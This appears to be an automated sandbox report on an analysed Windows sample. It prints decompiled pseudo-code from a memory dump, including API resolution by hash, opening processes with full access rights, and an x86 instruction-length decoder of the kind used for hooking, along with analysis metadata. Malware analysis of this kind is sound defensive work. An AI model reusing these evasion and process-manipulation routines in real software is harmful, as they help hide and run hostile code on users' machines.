									 *_t409(0xffffffff,  *((intOrPtr*)(_t439 + 0x60)),  *_t308, _t439 + 0x68, 0, 0, 2);
									__eflags = 0;
									if(0 != 0) {
										break;
									}
									goto L51;
								}
								E728ACDE0(_t439 + 0x4c, __eflags);
								goto L62;
							}
							_t402 = _t308[1];
							__eflags = _t402;
							if(_t402 <= 0) {
								goto L46;
							}
							_t412 = 0;
							__eflags = 0;
							while(1) {
								_t429 = _t412 * 4;
								_t392 =  *(E728AF558( *((intOrPtr*)(_t439 + 4)), _t429));
								__eflags = _t392 - _t308[0xd];
								if(_t392 == _t308[0xd]) {
									break;
								}
								_t412 = _t412 + 1;
								__eflags = _t412 - _t402;
								if(_t412 < _t402) {
									continue;
								}
								goto L46;
							}
							__eflags = _t412 - 0xffffffff;
							if(_t412 != 0xffffffff) {
								_t228 = E728AF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t228 - _t429;
								if(_t228 > _t429) {
									_t392 = 4 + _t412 * 4;
									 *(_t439 + 0x6c) = _t392;
									_t251 = E728AF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t251 -  *(_t439 + 0x6c);
									if(_t251 >  *(_t439 + 0x6c)) {
										 *((intOrPtr*)(_t439 + 0x90)) = E728AF558( *((intOrPtr*)(_t439 + 8)), _t429);
										 *((intOrPtr*)(_t439 + 0x8c)) = E728AF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x6c));
										E728B382C( *((intOrPtr*)(_t439 + 0x98)),  *((intOrPtr*)(_t439 + 0x90)), E728AF568( *((intOrPtr*)(_t439 + 4))) -  *(_t439 + 0x6c));
										_t439 = _t439 + 0xc;
									}
									E728AF8C4( *((intOrPtr*)(_t439 + 8)), E728AF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t74 =  &(_t308[7]);
									 *_t74 = _t308[7] - 1;
									__eflags =  *_t74;
								}
								_t229 = E728AF568( *_t439);
								__eflags = _t229 - _t429;
								if(_t229 > _t429) {
									_t413 = 4 + _t412 * 4;
									_t242 = E728AF568( *_t439);
									__eflags = _t242 - _t413;
									if(_t242 > _t413) {
										_t243 = E728AF558( *((intOrPtr*)(_t439 + 4)), _t429);
										 *((intOrPtr*)(_t439 + 0x94)) = E728AF558( *((intOrPtr*)(_t439 + 4)), _t413);
										E728B382C(_t243,  *((intOrPtr*)(_t439 + 0x98)), E728AF568( *_t439) - _t413);
										_t439 = _t439 + 0xc;
									}
									E728AF8C4( *((intOrPtr*)(_t439 + 4)), E728AF568( *_t439) + 0xfffffffc);
									_t79 =  &(_t308[1]);
									 *_t79 = _t308[1] - 1;
									__eflags =  *_t79;
								}
								E728AF8C4( *((intOrPtr*)(_t439 + 8)), E728AF568( *((intOrPtr*)(_t439 + 4))) + 4);
								 *(E728AF558( *((intOrPtr*)(_t439 + 8)), E728AF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t308[0xc];
								_t308[7] = _t308[7] + 1;
								E728AF8C4( *((intOrPtr*)(_t439 + 4)), E728AF568( *_t439) + 4);
								 *(E728AF558( *((intOrPtr*)(_t439 + 4)), E728AF568( *_t439) + 0xfffffffc)) = _t308[0xd];
								_t308[1] = _t308[1] + 1;
							}
							goto L46;
						}
						_t433 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x70) = _t433 * 4;
							_t403 = E728AF558(_t439 + 0x28, _t433 * 4);
							_t392 = _t308[1];
							 *(_t439 + 0x80) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L29:
								_t414 = E728B2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t414;
								if(_t414 != 0) {
									_t416 =  *_t414(0x1fffff, 0,  *((intOrPtr*)(E728AF558(_t439 + 0x28,  *(_t439 + 0x70)))));
									__eflags = _t416;
									if(_t416 != 0) {
										E728AF8C4( *((intOrPtr*)(_t439 + 8)), E728AF568( *((intOrPtr*)(_t439 + 4))) + 4);
										 *(E728AF558( *((intOrPtr*)(_t439 + 8)), E728AF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc)) = _t416;
										_t308[7] = _t308[7] + 1;
										_t271 = E728AF558(_t439 + 0x28,  *(_t439 + 0x70));
										E728AF8C4( *((intOrPtr*)(_t439 + 4)), E728AF568( *_t439) + 4);
										 *(E728AF558( *((intOrPtr*)(_t439 + 4)), E728AF568( *_t439) + 0xfffffffc)) =  *_t271;
										_t57 =  &(_t308[1]);
										 *_t57 = _t308[1] + 1;
										__eflags =  *_t57;
									}
								}
								goto L32;
							}
							_t415 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E728AF558( *((intOrPtr*)(_t439 + 4)), _t415 * 4));
								__eflags = _t392 -  *_t403;
								if(_t392 ==  *_t403) {
									break;
								}
								_t415 = _t415 + 1;
								__eflags = _t415 -  *(_t439 + 0x80);
								if(_t415 <  *(_t439 + 0x80)) {
									continue;
								}
								goto L29;
							}
							__eflags = _t415 - 0xffffffff;
							if(_t415 == 0xffffffff) {
								goto L29;
							}
							L32:
							_t433 = _t433 + 1;
							__eflags = _t433 -  *(_t439 + 0x20);
						} while (_t433 <  *(_t439 + 0x20));
						goto L33;
					} else {
						_t434 = 0;
						__eflags = 0;
						do {
							 *(_t439 + 0x64) = _t434 * 4;
							_t404 = E728AF558( *((intOrPtr*)(_t439 + 4)), _t434 * 4);
							_t392 =  *(_t439 + 0x20);
							 *(_t439 + 0x7c) = _t392;
							__eflags = _t392;
							if(_t392 <= 0) {
								L11:
								_t282 = E728AF568( *_t439);
								__eflags = _t282 -  *(_t439 + 0x64);
								if(_t282 >  *(_t439 + 0x64)) {
									_t420 = 4 + _t434 * 4;
									_t296 = E728AF568( *_t439);
									__eflags = _t296 - _t420;
									if(_t296 > _t420) {
										 *((intOrPtr*)(_t439 + 0x9c)) = E728AF558( *((intOrPtr*)(_t439 + 4)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0x98)) = E728AF558( *((intOrPtr*)(_t439 + 4)), _t420);
										E728B382C( *((intOrPtr*)(_t439 + 0xa4)),  *((intOrPtr*)(_t439 + 0x9c)), E728AF568( *_t439) - _t420);
										_t439 = _t439 + 0xc;
									}
									E728AF8C4( *((intOrPtr*)(_t439 + 4)), E728AF568( *_t439) + 0xfffffffc);
									_t22 =  &(_t308[1]);
									 *_t22 = _t308[1] - 1;
									__eflags =  *_t22;
								}
								_t419 = E728B2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t419;
								if(_t419 != 0) {
									 *_t419( *((intOrPtr*)(E728AF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64)))));
								}
								_t284 = E728AF568( *((intOrPtr*)(_t439 + 4)));
								__eflags = _t284 -  *(_t439 + 0x64);
								if(_t284 >  *(_t439 + 0x64)) {
									_t422 = 4 + _t434 * 4;
									_t285 = E728AF568( *((intOrPtr*)(_t439 + 4)));
									__eflags = _t285 - _t422;
									if(_t285 > _t422) {
										 *((intOrPtr*)(_t439 + 0xa4)) = E728AF558( *((intOrPtr*)(_t439 + 8)),  *(_t439 + 0x64));
										 *((intOrPtr*)(_t439 + 0xa0)) = E728AF558( *((intOrPtr*)(_t439 + 8)), _t422);
										E728B382C( *((intOrPtr*)(_t439 + 0xac)),  *((intOrPtr*)(_t439 + 0xa4)), E728AF568( *((intOrPtr*)(_t439 + 4))) - _t422);
										_t439 = _t439 + 0xc;
									}
									E728AF8C4( *((intOrPtr*)(_t439 + 8)), E728AF568( *((intOrPtr*)(_t439 + 4))) + 0xfffffffc);
									_t33 =  &(_t308[7]);
									 *_t33 = _t308[7] - 1;
									__eflags =  *_t33;
								}
								_t434 = _t434 - 1;
								__eflags = _t434;
								goto L20;
							}
							_t421 = 0;
							__eflags = 0;
							while(1) {
								_t392 =  *(E728AF558(_t439 + 0x28, _t421 * 4));
								__eflags = _t392 -  *_t404;
								if(_t392 ==  *_t404) {
									break;
								}
								_t421 = _t421 + 1;
								__eflags = _t421 -  *(_t439 + 0x7c);
								if(_t421 <  *(_t439 + 0x7c)) {
									continue;
								}
								goto L11;
							}
							__eflags = _t421 - 0xffffffff;
							if(_t421 == 0xffffffff) {
								goto L11;
							}
							L20:
							_t434 = _t434 + 1;
							__eflags = _t434 - _t308[1];
						} while (_t434 < _t308[1]);
						goto L21;
					}
				}
			}

0x728aa5ae
0x728aa5b0
0x728aa5bb
0x728aa5c1
0x728aa5c5
0x728aa5ca
0x728aa5d0
0x728aa5e0
0x00000000
0x728aa5e2
0x728aa5e2
0x728aa5ed
0x728aa5ed
0x728aab6b
0x728aab6d
0x728aab6e
0x728aabad
0x728aabb1
0x728aabbf
0x728aabcd
0x728aabcd
0x728aabb8
0x728aabd3
0x728aabd8
0x00000000
0x728aabd8
0x728aabbc
0x728aabbd
0x00000000
0x728aa5f7
0x728aa5f7
0x728aa5fb
0x728aa702
0x728aa702
0x728aa707
0x728aa818
0x728aa81c
0x728aa821
0x728aa825
0x728aa94f
0x728aa951
0x728aa955
0x728aa95e
0x728aa967
0x728aa96b
0x728aa974
0x728aa97b
0x728aa97c
0x728aa980
0x728aa984
0x728aa988
0x728aa98a
0x728aaaf4
0x728aaaf4
0x728aaafc
0x728aab14
0x728aab16
0x728aab18
0x728aab52
0x728aab52
0x728aab54
0x728aab54
0x728aab57
0x728aab72
0x728aab86
0x728aab89
0x728aab8e
0x728aab99
0x728aab9a
0x728aab9d
0x728aab9f
0x728aaba8
0x00000000
0x728aaba8
0x728aab59
0x728aab5d
0x728aab66
0x00000000
0x728aab66
0x728aab29
0x728aab39
0x728aab3d
0x728aab3d
0x728aab40
0x728aab43
0x728aab46
0x728aab4c
0x00000000
0x00000000
0x00000000
0x728aab4e
0x728aa992
0x728aa992
0x728aa994
0x728aa998
0x728aa99d
0x728aa99f
0x728aa9a3
0x728aa9a6
0x728aa9ae
0x728aa9b0
0x00000000
0x00000000
0x728aa9c7
0x728aa9e2
0x728aa9e4
0x728aa9f7
0x728aa9f9
0x728aa9fb
0x728aaa16
0x728aaa16
0x728aaa1a
0x728aaa1c
0x00000000
0x00000000
0x728aaa1e
0x728aaa21
0x728aaa42
0x728aaa61
0x728aaa67
0x728aaa6a
0x728aaa6f
0x728aaa70
0x728aaa74
0x00000000
0x00000000
0x728aaa7c
0x728aaa7c
0x728aaa7e
0x728aaa8a
0x728aaa96
0x728aaaa0
0x728aaaa3
0x728aaaa6
0x728aaaaa
0x728aaab1
0x728aaab5
0x728aaab9
0x728aaaba
0x728aaabe
0x728aaac3
0x728aaac8
0x728aaacc
0x728aaad0
0x728aaad6
0x728aaadc
0x728aaae2
0x728aaae8
0x728aaaed
0x728aaaee
0x728aaaee
0x00000000
0x728aaa7e
0x00000000
0x728aaa21
0x728aa9ff
0x728aaa10
0x728aaa12
0x728aaa14
0x00000000
0x00000000
0x00000000
0x728aaa14
0x728aaa27
0x00000000
0x728aaa27
0x728aa82b
0x728aa82e
0x728aa830
0x00000000
0x00000000
0x728aa838
0x728aa838
0x728aa83a
0x728aa83a
0x728aa84b
0x728aa84d
0x728aa850
0x00000000
0x00000000
0x728aa946
0x728aa947
0x728aa949
0x00000000
0x00000000
0x00000000
0x728aa949
0x728aa856
0x728aa859
0x728aa863
0x728aa868
0x728aa86a
0x728aa870
0x728aa877
0x728aa87b
0x728aa880
0x728aa884
0x728aacbf
0x728aacd3
0x728aacf6
0x728aacfb
0x728aacfb
0x728aa89b
0x728aa8a0
0x728aa8a0
0x728aa8a0
0x728aa8a0
0x728aa8a6
0x728aa8ab
0x728aa8ad
0x728aa8b2
0x728aa8b9
0x728aa8be
0x728aa8c0
0x728aac7d
0x728aac8e
0x728aaca8
0x728aacad
0x728aacad
0x728aa8d6
0x728aa8db
0x728aa8db
0x728aa8db
0x728aa8db
0x728aa8ef
0x728aa90d
0x728aa912
0x728aa922
0x728aa93f
0x728aa941
0x728aa941
0x00000000
0x728aa859
0x728aa70f
0x728aa70f
0x728aa711
0x728aa718
0x728aa726
0x728aa728
0x728aa72b
0x728aa732
0x728aa734
0x728aa765
0x728aa774
0x728aa776
0x728aa778
0x728aa796
0x728aa798
0x728aa79a
0x728aa7ad
0x728aa7cc
0x728aa7d2
0x728aa7d5
0x728aa7ec
0x728aa808
0x728aa80a
0x728aa80a
0x728aa80a
0x728aa80a
0x728aa79a
0x00000000
0x728aa778
0x728aa738
0x728aa738
0x728aa73a
0x728aa74b
0x728aa74d
0x728aa74f
0x00000000
0x00000000
0x728aa75b
0x728aa75c
0x728aa763
0x00000000
0x00000000
0x00000000
0x728aa763
0x728aa751
0x728aa754
0x00000000
0x00000000
0x728aa80d
0x728aa80d
0x728aa80e
0x728aa80e
0x00000000
0x728aa601
0x728aa603
0x728aa603
0x728aa605
0x728aa60c
0x728aa61a
0x728aa61c
0x728aa620
0x728aa624
0x728aa626
0x728aa654
0x728aa657
0x728aa65c
0x728aa660
0x728aa665
0x728aa66c
0x728aa671
0x728aa673
0x728aac3a
0x728aac4b
0x728aac6b
0x728aac70
0x728aac70
0x728aa689
0x728aa68e
0x728aa68e
0x728aa68e
0x728aa68e
0x728aa6a0
0x728aa6a2
0x728aa6a4
0x728aa6b5
0x728aa6b5
0x728aa6bb
0x728aa6c0
0x728aa6c4
0x728aa6ca
0x728aa6d1
0x728aa6d6
0x728aa6d8
0x728aabee
0x728aabff
0x728aac20
0x728aac25
0x728aac25
0x728aa6ef
0x728aa6f4
0x728aa6f4
0x728aa6f4
0x728aa6f4
0x728aa6f7
0x728aa6f7
0x00000000
0x728aa6f7
0x728aa62a
0x728aa62a
0x728aa62c
0x728aa63d
0x728aa63f
0x728aa641
0x00000000
0x00000000
0x728aa64d
0x728aa64e
0x728aa652
0x00000000
0x00000000
0x00000000
0x728aa652
0x728aa643
0x728aa646
0x00000000
0x00000000
0x728aa6f8
0x728aa6f8
0x728aa6f9
0x728aa6f9
0x00000000
0x728aa605
0x728aa5fb

Strings

, xrefs: 728AABB3

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: d2672b1f856e89ef0c12db3f67eccc829a8ca5772bc38a5944bb62ce59c80de9
Instruction ID: d6cc852792ecc6e3c1ae66f05ed0354f815d2328dfcfbd17c96a61e9cc302267
Opcode Fuzzy Hash: d2672b1f856e89ef0c12db3f67eccc829a8ca5772bc38a5944bb62ce59c80de9
Instruction Fuzzy Hash: 551261795043059FC715DF2CC8A1A5EBBF7AF95710F008A1EE59A9B2A0DF32D901CB82

Uniqueness

Uniqueness Score: -1.00%

Function 728B92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E728B92DC(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				signed int _t250;
				signed char _t251;
				signed char* _t254;
				char _t255;
				signed short _t256;
				char _t257;
				signed short _t260;
				signed int _t261;
				signed int _t262;
				void* _t264;
				void* _t272;
				void* _t273;
				signed short* _t274;
				signed char _t275;
				signed int _t277;
				signed int _t278;
				void* _t282;
				signed int _t288;
				unsigned int _t290;
				signed int _t292;
				signed int _t293;
				signed int _t294;
				signed int _t295;
				unsigned int _t296;
				unsigned int _t297;
				signed int _t299;
				unsigned int _t301;
				signed char _t302;
				signed int _t304;
				signed char _t307;
				signed char _t308;
				signed int _t309;
				void* _t312;
				void* _t313;
				signed int _t314;
				signed int _t316;
				signed int _t319;
				signed int _t321;
				signed int _t338;
				signed int _t339;
				signed int _t343;
				signed int _t345;
				unsigned int* _t346;
				unsigned int _t354;
				signed int _t355;
				void* _t357;
				signed int _t364;
				signed int _t366;
				signed int _t383;
				signed int _t388;
				signed int _t391;
				signed int _t395;
				signed int _t396;
				signed int _t397;
				signed int _t398;
				signed int _t399;
				signed int _t400;
				signed int _t403;
				signed int _t408;
				signed int _t411;
				signed int _t412;
				signed int _t413;
				signed int _t417;
				signed int _t419;
				signed int _t424;
				void* _t426;
				signed int* _t427;

				 *((intOrPtr*)(_t426 + 0x24)) = __edx;
				 *((intOrPtr*)(_t426 + 0x10)) = __ecx;
				 *((intOrPtr*)(_t426 + 0x14)) = __ecx;
				_t274 =  *(_t426 + 0x48);
				E728B35D4( *(_t426 + 0x48), 0, 0x1c);
				_t427 = _t426 + 0xc;
				_t338 = 0;
				_t282 = 0x10;
				do {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					if(_t250 == 0xf3) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000004;
						L17:
						_t338 = _t339 & 0x000000ff;
						 *(_t383 + 1) = _t250;
						goto L18;
					}
					if(_t250 == 0xf2) {
						_t383 = _t427[0x10];
						_t339 = _t338 | 0x00000002;
						goto L17;
					}
					if(_t250 == 0xf0) {
						_t338 = (_t338 | 0x00000020) & 0x000000ff;
						 *(_t427[0x10] + 2) = _t250;
						goto L18;
					}
					if(_t250 == 0x26 || _t250 == 0x2e || _t250 == 0x36 || _t250 == 0x3e) {
						L13:
						_t338 = (_t338 | 0x00000040) & 0x000000ff;
						 *(_t427[0x10] + 3) = _t250;
					} else {
						_t6 = _t250 - 0x64; // -100
						if(_t6 <= 1) {
							goto L13;
						}
						if(_t250 == 0x66) {
							_t338 = (_t338 | 0x00000008) & 0x000000ff;
							 *(_t427[0x10] + 4) = _t250;
							goto L18;
						}
						if(_t250 != 0x67) {
							break;
						} else {
							_t338 = _t338 | 0x00000010;
							 *(_t427[0x10] + 5) = _t250;
							goto L18;
						}
					}
					L18:
					_t282 = _t282 + 0xff;
				} while (_t282 != 0);
				_t388 = _t427[0x10];
				_t285 =  !=  ? _t338 : 1;
				_t343 = _t338 << 0x17;
				 *(_t388 + 6) = _t250;
				 *_t427 =  !=  ? _t338 : 1;
				 *(_t388 + 0x18) = _t343;
				if(_t250 == 0xf) {
					_t250 =  *_t274 & 0x000000ff;
					_t274 =  &(_t274[0]);
					_t427[5] = _t250;
					 *(_t427[0x10] + 7) = _t250;
					_t427[2] = _t427[4] + 0x4a;
				} else {
					_t22 = _t250 - 0xa0; // -160
					_t427[5] =  *(_t427[0x10] + 7) & 0x000000ff;
					if(_t22 <= 3) {
						_t424 =  *_t427;
						_t382 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
						 *_t427 =  !=  ? (_t424 | 0x00000008) & 0x000000ff : _t424 & 0x000000f7;
					}
				}
				_t354 = _t250 >> 2;
				_t391 = _t250 & 0x00000003;
				_t345 = _t427[2];
				_t427[3] = _t391;
				_t427[6] = _t354;
				_t288 =  *(( *(_t354 + _t345) & 0x000000ff) + _t391 + _t345) & 0x000000ff;
				_t427[1] = _t288;
				if(_t288 == 0xff) {
					_t343 = _t343 + 0x3000;
					_t288 = 0 | (_t250 & 0xfffffffd) == 0x00000024;
					 *(_t427[0x10] + 0x18) = _t343;
					_t427[1] = _t288;
				}
				if((_t427[1] & 0x00000080) != 0) {
					_t290 =  *((_t288 & 0x0000007f) + _t345) & 0x0000ffff;
					_t427[1] = _t290;
					_t395 = _t290 >> 8;
				} else {
					_t395 = 0;
				}
				if(_t427[5] != 0 && ( *_t427 &  *(( *(_t427[6] + _t427[4] + 0x130) & 0x000000ff) + _t427[3] + _t427[4] + 0x130) & 0x000000ff) != 0) {
					_t343 = _t343 | 0x00003000;
					 *(_t427[0x10] + 0x18) = _t343;
				}
				if((_t427[1] & 0x00000001) == 0) {
					if(( *_t427 & 0x00000020) != 0) {
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					goto L114;
				} else {
					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

0x728b92e3
0x728b92e7
0x728b92f3
0x728b92f7
0x728b92fb
0x728b9300
0x728b9303
0x728b9305
0x728b9307
0x728b9307
0x728b930a
0x728b9310
0x728b9388
0x728b938c
0x728b938f
0x728b938f
0x728b9392
0x00000000
0x728b9392
0x728b9317
0x728b937f
0x728b9383
0x00000000
0x728b9383
0x728b931e
0x728b9377
0x728b937a
0x00000000
0x728b937a
0x728b9323
0x728b9361
0x728b9368
0x728b936b
0x728b9334
0x728b9334
0x728b933a
0x00000000
0x00000000
0x728b933f
0x728b9359
0x728b935c
0x00000000
0x728b935c
0x728b9344
0x00000000
0x728b9346
0x728b934a
0x728b934d
0x00000000
0x728b934d
0x728b9344
0x728b9395
0x728b9395
0x728b9395
0x728b939e
0x728b93a7
0x728b93aa
0x728b93ad
0x728b93b0
0x728b93b3
0x728b93b9
0x728b93fb
0x728b93fe
0x728b93ff
